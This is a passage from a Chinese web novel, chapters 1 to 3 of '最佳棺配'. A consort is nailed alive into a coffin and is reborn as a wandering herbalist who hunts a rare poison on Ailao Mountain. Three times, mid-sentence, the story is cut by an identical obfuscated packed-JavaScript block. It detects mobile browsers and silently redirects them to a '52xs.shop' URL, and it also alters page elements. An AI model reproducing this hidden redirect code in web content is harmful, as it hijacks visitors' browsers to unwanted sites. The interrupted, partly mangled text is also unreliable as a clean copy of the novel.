《最佳棺配》 1. 第 1 章 京城七月十五,中元节。 风雨大作。 一盏孤灯在幽闭宫室中发出微光。 殿中的床榻上,静静躺着一个身穿华服的女子,脸色白蜡,隐隐透着不祥的青色。 房间的角落里,放着一只兽耳三足铜制香炉。 丝丝缕缕的烟雾浸透了冷潮的幔帐,透出一股奇异、腐朽又衰败的香味。 再次从昏沉的梦中醒来。 四肢麻木,喉咙干哑,胸膛中像是有一团火在燃烧。 林瑶光偏头,移动身体,努力用指尖去够放在榻边凳上的水壶。 但她太虚弱了,手腕连提起一只水壶的力气都没有。 恍惚间,她看着滚落在地的水壶。 怔忪许久后,躺回床上,不再挣扎。 透过窗纸,凝视着灰色的天穹。 灵魂在风雨中凝结,沉坠,雨点噼啪落在窗棱上,就像有人在一铲一铲地掘土,一寸一寸地将她的躯体掩埋。 如此糟糕透顶的状态下,林瑶光却无端想起了一件往事: 忘记了具体是几岁。 那段时日,父亲难得空闲,说要带她去拜访一位居住在蜀地的友人。 恰逢雨季,路非常难走,他们不得不舍弃了马车。 父亲买了一头骡子,让她坐在骡子上,他走在前面牵着,徒步上路。 雨过天晴,父亲吟着《巴东三峡歌》,虽浑身淋透,神情却并不显狼狈,颇有一番隐士风度。 但当时她只觉得屁股都要被颠成八瓣,垮着一张小脸,戴着比自己人还大的帷帽,坐在深一脚浅一脚的骡子上,完全没兴致听他念经。 他们走完最后一段山路,穿过树林,来到雪山脚下的一座湖畔。 阳光透过云层洒向雪山大地,露水在草甸上熠熠生辉,父亲望着远处倒映着蓝天白云的凌凌水波,微微一笑说,这就叫浮光跃金。 这一幕,给儿时的她留下了很深的印象。 或许是因为记忆中,父亲总是不苟言笑; 又或许是因为,从前生活在京城,看到的都是精心雕琢的园林山水,沉复繁重的高墙深院。 不明白原来父亲所说的天地辽阔,竟有如此一派雄浑气势。 她的父亲,刑部侍郎林士良,乃先帝少时伴读,年轻时以信直忠实闻名,于朝中颇有口碑。 当初圣人兵变上位,所有人都以为,以他与先帝的情谊,林士良会请辞归乡,一生不仕。 但出乎所有人的预料,他顶着骂名留下了。 苦心筹谋十余年。 就在前些日子,被圣人以谋逆罪名秘密处决。 他曾自豪地向自己的友人夸赞过他的女儿,说她是古今难遇的奇女子,将来定能实现林氏的夙愿; 也曾私下里久久凝视着她,叹息着说“瑶瑶,你要是个男儿就好了”。 在知道父亲的谋划前,林瑶光曾自暴自弃地想过: 这些年来,她受过的伤,尝过的苦果,流过的血泪,在他眼中,依然比不过一个莫须有的儿子,对吗? 待到一切尘埃落定后,她反而觉得,答案不重要了。 她已经很久不想这些。 她这一生,都生活在一个巨大的谎言中。 从小多病,习武强身,希望有朝一日能身披戎装,替父从军; 然而命运无常,一朝梦碎,无奈之下只得遵从父命,二嫁皇室。 这一桩桩一件件,犹如一张阴谋织就的、密不透风的罗网。 等她意识到真相时,早已沉疴难愈,难以脱身。 不,兴许从儿时父亲端来的每一碗苦涩汤药开始,她便已经成为了这皇城脚下屡见不鲜的阴谋诡计的一部分。 但倘若有来世的话…… 林瑶光想起许多年前,自己还是少女时,骑在马上,高歌疾驰过林间。 马儿嘶鸣着踏遍火红的枫叶,她解开发带,凉爽的风吹起她的长发,脑海中什么都没想,只一心一意地凝视着远方小路的尽头。 那条路的尽头是什么,她已经忘记了。 但是,真想去看看啊。 殿外。 负责浇花的宫人呼吸一窒。 他瞪大眼睛,看到一缕黑沉烟雾从门槛罅隙中缓缓散开。 数息之间,摆在檐下的十几盆花卉盆栽接连枯萎,原本娇嫩鲜艳的花瓣顷刻间蜷曲衰败,边缘甚至隐隐泛起了不祥的沉黑。 “快!快来人啊!” 铜壶当啷落地。尖利的声音刺透雨幕。 闪电的白光划破黑夜。 隆隆的雷声中,一队身穿黑金制服的卫士抬着一口沉重的黑棺,疾步赶来。 那宫人茫然地望着他们捂住口鼻,如临大敌地将黑棺抬入了殿内——而这座宫殿之中,需要下葬的只有一人。 孤灯在风雨中剧烈摇曳。 那明灭的一豆灯火,终于彻底熄灭。 火光彻底熄灭前,借着那微弱光芒,在卫士把林瑶光抱进棺材时,宫人的视线正好对上了女人那双疲倦的、清澈的双眼。 她冲着他,轻轻笑了一下。 宫人突然控制不住地颤抖起来。 在卫士们想要合上棺材时,他大叫一声,想要闯入殿内阻拦,却被那群卫士的首领一脚踹进了滂沱大雨中,溅起一地水花。 “你疯了?”他怒吼道。 “是你们疯了!”宫人挣扎抬起头,嘶吼道,“娘娘她还没死!我都看见了,她还没死啊!!” “要是真死了,那就来不及了。”首领沉着脸说。 他虽然是踹人的那个,脸色却比被踹的宫人还要差劲,眉头紧锁,似乎还透着隐隐的焦躁。 宫人并没发现这些细节。 他的脑海里,反反复复只回荡着一个念头: ——娘娘还没死。 ——他们这是在杀人。 众目睽睽下,还是在皇宫内,宫人完全不明白为何会发生这样的事情。 他原本是宫中内宦,因犯了一件小事触怒大太监,在最冷的冬日,被发配去洗宫中老太监们的脏衣。 沾染了各种腌臜污渍的脏衣,他每天都要洗数百件。 他一直洗啊洗,洗到冻疮迸裂,十指青紫肿痛也不敢歇息。 后来,浸在冰水里的手甚至都不再痛了。 本来他都已经认命了。 忽然一日,有人通知他,一位娘娘吩咐他去殿前浇花。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345127|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那年冬天很冷,连腊梅都被冻死了。 宫人捧着那盒足以换他性命的珍贵膏药,不明白自己是如何得了贵人青眼。 只知道,是娘娘救了他的命。 圣人已经很久没来过娘娘这里了。 但自打冬日过后,宫中的花儿却一直没断过。 他一直觉得,这是娘娘圣宠未衰的标志。 迟早有一天,是能等来圣眷的。 可是…… 宫人目眦欲裂地看着卫士们一刻不停,用七颗长钉,活生生地把娘娘钉死在了棺材里! 明明是盛夏,他的手又开始疼了。 刺骨的寒意钻进指骨缝里,尤甚那年的冬日。 “我要面见圣人!” 他被首领一脚踢出了内伤,原本像条死狗一样趴在大雨里喘气,突然不知从哪来的气力,十指死死扣着身下青砖,在雨中嘶声力竭地叫嚷起来。 “你算什么东西,还见圣人?”首领不屑道,又忌惮地回头望了一眼那口黑棺,“更何况,圣人……李家,对她已经仁至义尽了!” 说完,他不再理会那宫人,下令让卫士们赶紧把黑棺抬走下葬。 他说,距离子时还有半个时辰,他们的时间不多了。 宫人听着他们紧张地交谈,人声混杂着天地间的噪杂雨声,忽远忽近,震耳欲聋。 他顾不上思考,趁着那首领经过,一把抱住了他的腿。 “别走,”他苦苦哀求道,“求你,救救娘娘吧……” 首领沉默了一会儿,冷笑着反问:“你怎么知道,我没有救过?” 宫人缓缓睁大了眼睛,不可置信地看着他。 首领道:“林家自作孽,不可活。她是林家的女儿,这就是她的命。” 宫人流着泪,拼命摇头:“不对,不对,不该是这样的。娘娘是好人,好人应当长命百岁才是,这怎么可能是她的命呢?” “谁说的,好人就能长命百岁?”首领的眉宇间浮起一丝戾气,不知想到了什么,他语气冰冷道,“要真是这样,那还求什么菩萨拜什么佛?菩萨都住在深宅大院里呢。” 宫人懵懵懂懂的,听不懂他的话,只想知道娘娘能不能得救。 但首领已经不耐烦应付他了。 他一脚把宫人踹开,正准备离开,忽而顿住,猛地抬头望向那口黑棺,瞳孔骤缩。 幽暗雨夜中,黑棺发出了一声沉闷巨响。 它的震颤太剧烈了,抬棺的卫士几乎要控制不住它。 就仿佛里面装着的,不是一个将死的病女人,而是一头发狂的野兽,亦或是……某种更加可怕的东西。 包括那名宫人在内,所有人都僵在了原地,脸色苍白地屏住呼吸,一动也不敢动。 首领的手慢慢握上了剑柄。 数息寂静。 似乎是挣脱不开那七颗长钉,在一阵令人毛骨悚然的抓挠声后,巨响突兀地消失了。 首领又耐心等待了一炷香时间,见黑棺依然没有动静,绷紧的肩膀渐渐放松。 他张了张嘴,刚想要说些什么,又一道闪电划过天穹。 惨白光芒中,所有人都看见了,原本钉死的厚重棺材板,突然掀开—— 2. 第 2 章 “啊啊啊啊!!” “二牛哥我害怕!好吓人啊!!” 孩童的尖叫打断了正在进行中的故事。 他们疯狂叫嚷着,半是兴奋半是害怕地在村口乱窜,像是一锅乱跳的炒豆。 有个胆子大的孩子咽了咽唾沫,脸色苍白地问道:“那后来呢?首领看到什么了?宫人又怎么样了?” “还有,那个娘娘到底死了没?” 瑶光笑吟吟道:“死了。别的不知道。” 那孩子瞪着她:“你怎么能不知道?你明明说你当时就在现场的!” 瑶光一摊手,“对呀,但我死了嘛。” 一阵寂静。 “鬼呀——” 孩子们一哄而散,还有个小鬼吓得鞋都跑掉了,吸溜着鼻子,鬼哭狼嚎地跑回家找娘。 瑶光捂着肚子,在后面笑得前仰后合。 她没有半点以大欺小的汗颜——作为正经死过一次的人,还有什么能让她不好意思的? 而且上面的讲述,有一部分是从她前几日看过的志怪话本里取材,但大部分还是她的亲身经历。 瑶光直起身子,脸上的笑容慢慢淡去。 她抬头看了看天色,估摸着今日的路程,恢复了一贯的漫不经心,哼着歌,继续往前走。 重活一次,虽然成功离开了家族,自由的喜悦倒没多少。 因为她爹造的孽,她还没收拾完。 瑶光低头看了看自己左手内侧的手腕,一条条繁复编织的彩石手链下,遮挡的是一道丑陋狰狞的毒瘢。 她知道,留给自己的时间不多了。 如果再找不到下一味奇毒,没了王府药库的供养,她估计死得比上辈子还早呢。 死亡的痛楚,至今还残留在她的身体里。 ——那是无边无际的黑暗,和几乎要冻住灵魂的彻骨冷意。 瑶光打了个寒颤,却并不怎么后悔。 她在离开林家的那一晚就想好了。 无论未来发生什么,至少这一次,命是她自己选的。 在太阳升到头顶前,瑶光终于赶到了山脚下。 她来这里,是为了寻找一种名叫“杜桑”的奇毒。 据说这种毒,连内功深厚的高手都没法运化,一旦中招,必死无疑。 有关杜桑的消息,瑶光也是偶然得到。 除了名字以外,它的外形特征性状,她统统一无所知。 要不是实在没办法,瑶光也不会把希望寄托在这样虚无缥缈的情报上。 她很清楚,即使找到了杜桑,也没办法根除自己手腕上每时每刻都在生长的毒瘢。 它就像是一个寄生在她体内的贪婪活物,需要宿主不断提供更合它胃口的奇毒供养。 如果得不到,毒液就会扩散,反向侵蚀宿主的血肉、经脉甚至是骨骼。 一旦毒液侵入心脏,那就真的神仙难救了。 上辈子临死前,她就连呼出的气息都带着毒,根本无人敢靠近,只能孤零零地躺在床上痛苦等死。 不管怎么样,瑶光心想,希望杜桑的传说是真的。 在找到真正一劳永逸解决毒瘢的办法前,老天保佑,别再让她浪费时间白跑一趟了。 她走到一处客栈前,掀帘而入,敲敲柜台,“老板,打一壶好酒,还有,帮我准备两斤干粮和三斤腊肉,再包点糖块,你有多少我要多少。” 掌柜的一听,顿时喜上眉梢,这年头糖价可不便宜,“要这么多吗?好好好,姑娘稍等,坐下喝口热茶吧,不要钱!” 掌柜的应了一声就猫腰钻到后厨去,看来这店里就他一个干活的。 瑶光估摸着他还要一会儿,干脆就把包袱撂在桌上,找个还算干净的位置坐了下来,自顾自地倒了一杯茶。 山野村落,破落客栈,连客人都稀稀拉拉没几个。 但她用余光注意到,自打她进店,坐在角落里的两个男人就一直直勾勾地盯着她。 靠窗的那位留着一把乱糟糟的黄胡子,另一个长着双眯缝眼,眼下青黑浮肿,稀疏的眉毛间萦绕着一股淫邪之气。 黄胡子瞥了一眼瑶光的包袱,用口型冲对面道: 老规矩,钱归我,人归你。 眯缝眼见状,用舌头顶了顶腮帮,笑得更加猥琐了。 两人都没有丝毫遮掩的意味,放肆地盯着瑶光,像是看着盘中一道菜。 瑶光被恶心到了,重重放下茶杯。 “姑——姑娘,要、要不要算一卦?” 一个穿着脏兮兮道袍的老道凑了过来。瑶光不知道这老道和那两人是不是一伙的,就算不是,她现在也没耐心应付一个结巴神棍。 她冷淡道:“不要。” 但那结巴老道似乎着急开张,竟然一屁股在她对面坐下了。 还从沾了荤油的补丁袖子里掏出一面六壬式盘,睁一只眼闭一只眼,煞有其事地掐算起来。 瑶光冷眼看着这老神棍,心道她是绝对不会给钱的。 “姑、姑娘此行——”“没钱。” 被瑶光率先抢断,那结巴老道眉心一跳,但不愧是拿招摇晃骗混饭吃的,脸皮厚度也非常人能比。 他摇摇头,一副贫道不与你这个丫头片子计较的大度表情,摇头晃脑地继续说道:“不……不要钱,贫道是看、看与姑娘你有缘,才特意卜筮占卦,帮你算、算上一算。” 瑶光不为所动,视线看向别处。 “我说了没钱,你算出花来也一样。” 结巴老道睁开那只闭上的眼睛,笑嘻嘻地看着她:“姑娘买这些东西,可、可是要往前面的哀牢山去?那地方,说是有、有个神国,几年前朝……朝廷还派了一批人上山,寻长生不老药,结果呢?全死啦!” 瑶光看着他,也笑了一下:“那你算错了。” “我买这些,只是因为我家那死鬼丈夫生前爱吃,正逢他头七,打算带着情郎一起去坟头祭拜他,也好叫他早点下去投胎。” 她嘴上胡扯一通,袖中的鱼肠剑却悄无声息地滑落掌心。 她早就不是前世那个父亲说什么都信的傻丫头了。 如今在这世上,她连亲爹都不信,更何况一个萍水相逢、神神叨叨的老道? 结巴老道眉心狂跳,不甘心地还想说些什么,但越急越忙,几个字来回秃噜了半天不知道在讲些什么。 瑶光听得难受,只觉得心里一股火气蹭蹭往上冒——术业有专攻,这结巴老道到现在都没饿死,真是三清他老人家保佑。 幸好她也不用再继续听他秃噜下去了。结巴老道的到来似乎让那角落二人觉得碍事,眯缝眼率先起身,一脚踹走了老道屁股底下的条凳。 老道一屁股摔在地上,疼得哎呦喂叫唤着,半天起不来身。 “唧唧歪歪说的什么屁话,没听人家都说了不算吗!”眯缝眼骂骂咧咧道,“妈了个逼的,听着就烦!” 瑶光虽然在心里已经给眯缝眼判了死刑,但还是默默认同了这句话。 后厨听到动静的掌柜忙钻出来劝架:“几位客官,咱们有话好说,好说,不要动手。” 瑶光注意到他虽然说着别动手,却有意无意地挡在了自己前面,看来是没少和三教九流打交道,很清楚这帮人的花花肠子。 可能出于一时心善,也可能单纯是因为,不想失去她这单生意。 瑶光想着,还是默默把鱼肠剑塞回了袖子里。 黄胡子也发现了掌柜的动作,面色不善地拎起对方的领子,骂他是不是活腻歪了才来管闲事,抄起板凳就要往人头上砸,却被一只手握住了手腕。 是女人的手,很稳。 “大哥,”瑶光笑道,“小本生意,别为难人家,咱们出去说。” 不知是被瑶光淡定的语气还是神情唬住了,黄胡子看了她半天,还真放手了。 掌柜的看看瑶光又看看黄胡子,想要说些什么,又闭上了嘴巴。 “你继续弄你的。”瑶光对他说,率先起身朝外面走去。 临出门前,她朝剩下两人勾了勾手。 黄胡子和眯缝眼对视一眼,都被逗得哈哈大笑。 眯缝眼更是一马当先,迫不及待地掀帘出门想要一亲芳泽,嘴上还嘟囔着这小娘子长得可不赖呢!性子又带劲,是这穷乡僻壤难得一见的极品。 “极品?”瑶光听到了他们的高谈阔论,微微一笑,在空地上退后半步,突然一个闪身来到那眯缝眼身前,抓住他的肩膀,狠狠一个顶膝怼在眯缝眼肚子上。 眯缝眼大叫一声,痛得脸都扭曲了,挣扎着要来抓她,被瑶光反抓住手臂,一个过肩摔重重砸在地上,人都懵了。 瑶光瞅准机会,一脚踏在那处多余烂肉上,笑眯眯地用鞋跟使力一踩—— 黄胡子听着眯缝眼不似人声的惨叫,吓得两股战战,脸都白了,看瑶光的眼神跟看怪物似的。 他本就比眯缝眼瘦小,争抢不过,不然也不会退而其次只求财。 如今连眯缝眼都打不过这姑奶奶,他一个人,哪里是对手? “不是吧,这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345128|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑了?” 瑶光遗憾地看着黄胡子落荒而逃的背影,不尽兴地啧了一声,一脚踢开昏死过去的眯缝眼,重新走进客栈问道:“掌柜的,东西都备好了没?” “好了,好了。”掌柜的早就看到了瑶光的英姿,这会儿忙不迭把装在背篓里的干粮酒肉递过来,态度十分殷勤。 瑶光掂量了一下,挑眉望着他。 掌柜的搓手笑道:“女侠好身手,小的佩服,就多送了一坛酒。自家酿的青莲酒,别的不知道,但年头味道啥的,绝对够劲!” “谢了。”瑶光也没推辞,颔首冲他示意。 掌柜的低头看了眼脚尖,又苦笑道:“不瞒您说,这两人已经在我店里赊了大半年的账了,他们在店里,附近的客人也不敢上门,我这店眼看就要开不下去了。可小老儿我又不敢惹事,本来还以为……唉,这次真要害了姑娘。” 瑶光拍了拍他的肩膀:“放心,那眯缝眼这辈子算是废了,剩下那个,就算来了也不要紧,就一旱地葱,个头还没我高呢。” 掌柜被逗乐了,直点头道:“姑娘大恩大德,小老儿无以为报。” “我只是不喜欢欠别人人情。”瑶光说。 掌柜的一脸迷惑地看着她,显然不明白瑶光的意思。 瑶光也没打算解释。 她把原先的包袱也放进背篓里,挥挥手告别掌柜,离开了客栈。 等到村口时,身后一道声音喊住了她: “女侠,等等我!” 瑶光眉头一皱,转身看到那结巴老道又追上来,顿时一个头两个大。 他气喘吁吁道:“女侠,方、方才贫……贫道的话,还没说完呢!” 瑶光心道可别了,等你说完我也要疯了。 她肉疼地从怀里掏出两枚铜板,想了想又添了一枚,郑重其事地放在结巴老道手里:“行了,遇上您老是我倒霉,拿着吧,别招惹我了,我这人很有原则的,一般不打老头。” 结巴老道置若罔闻,收钱的动作倒是利索:“你若、若是真要去那山里,可千万要小——小心,那座山,会吃人的!毒蛇虫蚁,还有瘴气,那都是要、要、要……” 瑶光拼命点头:“我懂,我懂,还有什么野猪啦,野人野道士啦,都是要命的,反正我贱命一条,大不了就下去陪我那死鬼老公呗。” 她满心想着赶紧摆脱这讨厌神棍,也不知道自己在说什么,话根本就没过脑子。 兴许是看出了瑶光的不耐烦,结巴老道也有些丧气。 他叹了口气,摇摇头道:“算啦,看来女侠是与我无、无缘了,那便在此告辞吧。” 瑶光的笑容立马真切了许多:“慢走,祝您生意兴隆啊!” 结巴老道走出几步,突然又转头:“对了,贫道还、还有一句话没说完……” 不等他话音落下,瑶光拔腿就跑! 她一路狂奔,干粮在背篓里哐哐作响,后面传来结巴老道的喊声:“路上——要小心——死人棺材!” 废话!哪个正常人看到棺材不绕道走? 瑶光一口气跑出了老远,直到确定那结巴老道除非神行太保转世才能追上,这才放慢了脚步,靠在树根下歇息了一会儿,又继续沿着小路往山上走。 不知何时,脚下猎人踩出的痕迹渐渐消失。 森林寂静幽深,阳光透过树叶缝隙照在青苔上,未经砍伐的原始林木繁茂葱茏,藤蔓缠绕绞杀,犹如斑斓长蛇。 空气中弥漫着潮湿泥土混杂着腐叶的气息,时不时有悠长怪异的啼鸣声回荡在林间,不知究竟是何种生物。 再往前,就是哀牢山了。 那结巴老道这点倒是说得没错,这座山里,处处都是要人命的东西。 传说有一群神秘的野人,就住在哀牢山深处。 他们未经开化,残忍排外,甚至还保留着上古时期活人祭祀的习惯。 瑶光倒不觉得可怕。 她这两年周游各地寻山采药,经验也累计了不少。 更何况,她不是第一次来这里。 所以现在最麻烦的还是…… 瑶光叹了口气,侧头躲开身后挥来的木棍,寒光一闪,反手用鱼肠剑抹开了袭击者的喉咙。 那大汉捂着鲜血淋漓的脖子,双膝跪地,噗通一声倒在了地上,魁梧的身躯因为窒息不断抽搐着。 “何苦呢,”瑶光转了下剑,看着目瞪口呆的另一人,“都放你一马了,还想着摇人?废物再多也是废物。” 黄胡子呆了一瞬,拔腿就跑! 3. 第 3 章 瑶光不紧不慢地跟在黄胡子身后。 黄胡子似乎没发现,自己逃窜的方向是大山深处。 这对瑶光来说,倒是件好事——反正她要走的也是这个方向,两人结伴,总比一个人上路要好,还能打发打发无聊时间。 不过这个“伴”究竟愿不愿意和她一起上路,那就另当别论了。 “你……你别过来!” 黄胡子被她这副猫戏老鼠的姿态刺激到了,加上逃命时的紧张慌乱,晃神之下,竟然没注意到前面没路了。 脚下一空,失足跌落断崖,就此没了声息。 瑶光低头看了一眼。 山崖下弥漫着浓浓的雾气,什么都看不清。 但根据方才的落水声判断,她猜测,黄胡子应该是摔进了一处温泉。 古书记载南中多热泉,这些泉水都是从地缝里冒出来的,瑶光上山寻药时,偶尔也会帮人问诊看病,还吃过当地人用硫磺泉水煮熟的鸡蛋。 应该没死吧? 瑶光也不太确定。 说不定黄胡子平日里作恶多端,这会儿霉神上身,脑袋一下子磕在石头上了呢。 她想了想,还是决定绕路下去看一眼。 到了下面才发现,这处断崖足足有十几米高,估计人是凶多吉少了。 和她猜测的一样,崖下的确是一处热泉。 这里的温度比上面高多了,空气中弥漫着浓郁的硫磺气息,瑶光被呛得连打了两个喷嚏。 氤氲的白雾中,隐约能看到一个人影。 瑶光走近了些,才发现那人不是黄胡子。 他比黄胡子高多了,墨色长发披散着,浑身赤.裸,下半身浸泡在热泉内,露在外面的皮肤极为苍白,像一尊寒玉雕刻的石像。 听到瑶光的脚步声,他睁开眼睛看了过来。 瑶光最先注意到的不是他的长相,而是那双仿佛能洞穿一切的平静眼眸,瞳孔漆黑晦暗,宛如冬日暮色下深幽冷寂的森林。 她吓了一跳,还以为遇上了什么山间精怪。 “你……”瑶光定了定神,犹豫着问道,“这位公子,你有没有看到一个人掉下来?” 但那人只是冷淡地盯着她的脸,一言不发。 难道他是个聋子? 瑶光心里打鼓。 扪心自问,这男人模样生得英俊,肩腰的线条流畅紧实,一看就知道是练家子,和京城那些涂脂抹粉的公子哥们完全不一样。 但正是因为这样,她才觉得不对劲—— 这可是在人迹罕至的深山里啊! 自己该不会真的遇到志怪话本的里的情节了吧?也不知道这世上有没有男狐狸精…… 瑶光胡乱想着,突然听到那人冷冷问道: “你还要看多久?” 瑶光“啊”了一声,这才发现自己直勾勾盯着人家好久了,赶紧侧身捂住眼睛以表清白:“不好意思,我还以为……” 以为什么,她没说,那人也没问。 瑶光听到了水声,似乎是男人走到了岸边,正在换衣。 她心中百爪挠心似的好奇,总觉得在自己看不到的地方,会从泉水里冒出几条毛绒绒的狐狸尾巴。 于是她偷偷把指缝张开了些,扭头飞快地张望了一眼,差点撞上一堵墙——不对,是那人的胸膛,左心口处还有一道浅淡的疤痕。 瑶光下意识退后半步,干巴巴地笑了一声:“你怎么不穿上衣?” 男人披着件藏蓝色大氅,乍一看有些像是道袍,但没有系带,极为坦荡地敞着怀,仿佛丝毫不在意陌生人的存在。 奇异的是,他明明刚从温泉出来,竟然连发尾都是干的,身上也不带半点热气。 瑶光在注意到这点后,心中的戒备霎时提到了最高。 她从前听父亲提起过,世上有一种高手,能在顷刻间用内力将周身水汽蒸腾殆尽。 但上辈子即使在皇宫中,瑶光也没见过这样的高手,还以为这只是个江湖传说。 没想到今天在这深山老林里,却亲眼见识到了。 男人发现了她的紧张,并未在意,只是淡淡道:“是你闯进来的。”说完便径直离开了。 瑶光眨了眨眼,才后知后觉地反应过来,男人这句没头没尾的话是在回答自己的问题——他先来的这里,所以不穿上衣很正常,就算她看到了什么不该看到的东西,也不是他的问题。 岂有此理! 瑶光觉得这人很不讨喜。 虽然仔细想想,这话倒也不是没有道理,但她还是觉得憋屈,忍不住朝男人离去的方向瞪了一眼,撇撇嘴收回视线。 她想了想,还是走到温泉边上看了一眼。 果不其然,湿透的黄胡子就趴在岸边,已经死透了。 他紧闭着眼睛,嘴巴大张着,面容十分狰狞,皮肤表面像是熟虾一样通红。 瑶光检查了一遍,发现除了一些被林中枝叶划破的伤口外,他身上没有别的外伤,不禁深深皱起了眉头,脑中冒出一个大胆的念头: 黄胡子,是被烫死的。 她盯着不远处咕咚咕咚冒泡的热泉,试探性地伸了伸手。 瞬间就被烫得缩了回来。 绝对能煮鸡蛋了! 可方才她看那男人神情淡然地泡在温泉里,就跟没事人一样,连脸都没红。 ……果然,是狐狸精吧。 瑶光吮着被烫红的食指,慎重地想。 被意外耽误了半个时辰,今天预定的行程肯定是走不完了。 山中天黑的比外面早,瑶光找了棵树,爬上去睡了一晚。 她很少做梦。 但或许是日有所思夜有所梦,瑶光梦见自己坐在喜轿里,一路吹拉弹唱,眼看着就要到王府了。 一想到又要走上辈子的老路,她急得浑身冒汗,一把扯下盖头跳出了轿子,不要命地朝反方向狂奔逃跑。 身后王府的家丁越追越紧,眼看着就要被追上了,突然一只手从拐弯处伸出,抓住她的胳膊,把她塞进了旁边的暗门内。 她气喘吁吁地看着家丁们跑远,大大松了一口气。 刚要转头冲恩人道谢,就看到白天见到的男人面无表情地看着她,微微颔首示意,身后还摇晃着九条狐狸尾巴。 “…………” 瑶光一身冷汗地从树上惊醒。 这叫什么事啊! 她胸膛中的心脏剧烈跳动,有些哭笑不得。 但很快,瑶光就没心思想七想八了。 因为她感觉到,脖颈上有一条冰凉滑腻的东西滑过,还伴随着嘶嘶的声音—— 她身体下意识地绷紧,一动不动,眼珠朝声音传来的方向慢慢移动。 一条青黑色的斑纹蛇正绕着她的脖颈,上半身高高抬起,摆出了攻击的姿态。 尖头,沟牙,细颈。 毫无疑问,这条蛇是有毒的。 恰好,瑶光还知道它的名字。 它是青蝰蛇的一种,古书曰“色異者,名熇尾蛇,最毒。”* 当地人还给它起了个别名,叫阎王花。 因为它平时喜欢把自己盘成一团,躲在茂密的草丛和灌木林稍上,只露出那一截细密的、似鳞非鳞似羽非羽的斑斓花纹,用以吸引猎物或雌蛇。 稍有不注意,就容易和一种珍稀草药开出的花朵混淆。 一旦被这种蛇咬中,除非猎物或者自身死亡,它绝不会松口。 只一滴毒液,就能够将一头成年水牛毒死。 真是中头彩了,瑶光想。 在这座山里,阎王花可是很不容易见到的。 就在她思考的这短短数息间,这条阎王花的耐心也彻底耗尽。 它很狡猾,知道对付大型猎物必须要一击致命,趁着瑶光走神的功夫,弓起上半身,朝她的脖颈猛地咬去! 千钧一发之际,瑶光一把抓住了它的七寸。 她的动作很快,毫不犹豫地从背篓里取出那坛酒,拍开坛封,像挤奶牛一样,用力把阎王花毒腺里的毒液全部挤了进去。 这条可怜阎王花数月间好不容易积攒的毒液,全都被她挤得一干二净,到最后,连一滴也没有了。 毒蛇没有表情,但相比起刚才虎视眈眈准备猎杀的模样,明显连眼神都萎靡不振了许多。 “两天之后就可以喝了。” 瑶光随手把阎王花丢下树,晃了晃酒坛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345129|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜滋滋地自言自语道。 虽然还没找到杜桑,但刚进山能有这样的收获,称得上是开门红。 她心情大好地拍了拍身上的尘土,正准备跳下树,突然身后一支白羽箭擦着左耳廓,咚的一声钉在了树干上,震动无数落叶。 箭身几乎没入了一半,说明拉弓的人拥有极强的臂力,准头也不可小觑。 瑶光的视线扫过箭杆上的刻字,非常古怪的符号,形似卧虎,一看就知道不是中原地区的文字,倒更像是某种原始部族的图腾。 这一箭是警告。 她没理会,径直翻身下了树。 “站住!”拉弓的汉子站在坡上,远远地警告她,“外族人,你,再往前一步,死!” 他操.着一口奇怪的官话,语气很严肃。 若是外面人看了,一定会大呼让瑶光快跑——这些可是会吃人的野人啊! 但瑶光却只是看着他,笑着反问:“杜罗哥,你不认识我了?” 那名叫杜罗的年轻汉子愣了一下,睁大了眼睛,忙收了弓从坡上滑下来,一路小跑到瑶光面前,上下打量着她,惊喜道:“我还以为看错,瑶瑶,真是你!” 瑶光也在观察着杜罗。 他生得健壮,一身古铜肤色,齐耳断发,两耳坠着蜜蜡珠,脖颈上戴着条兽牙项链,胸前还用青墨纹着一头威风凛凛的黑虎。 这是他们部族的图腾,也是信仰。 “杜罗哥,你比上次见又壮实不少,”瑶光夸他,她知道乌蛮人崇尚勇武,喜欢直白的夸赞,“你现在能一个人猎虎了吧?” “还不行呢,”杜罗挠了挠头,看了瑶光一眼又赶快补充道,“过两年,可以!” 瑶光笑起来:“官话也长进不少,谁教你的?” “你走之后,我没事,就会练练。”杜罗不好意思地笑起来,他是个朴实的汉子,笑起来脸颊上还有两个浅窝。 瑶光和他一起往山里走,前面就是南诏部的寨子了,虽名为寨,人口却多达上万户,上次瑶光进山采药时,也是住在这里。 “瑶瑶,”杜罗犹豫了一下,还是提醒她,“你这次来,打算住多久?” 瑶光告诉了他自己的打算,并表示多久能找到杜桑,自己也不清楚,不过她的住宿费已经准备好了,说着还拍了拍身后的背篓。 杜罗咽了咽唾沫,眼里露出渴望的眼神。 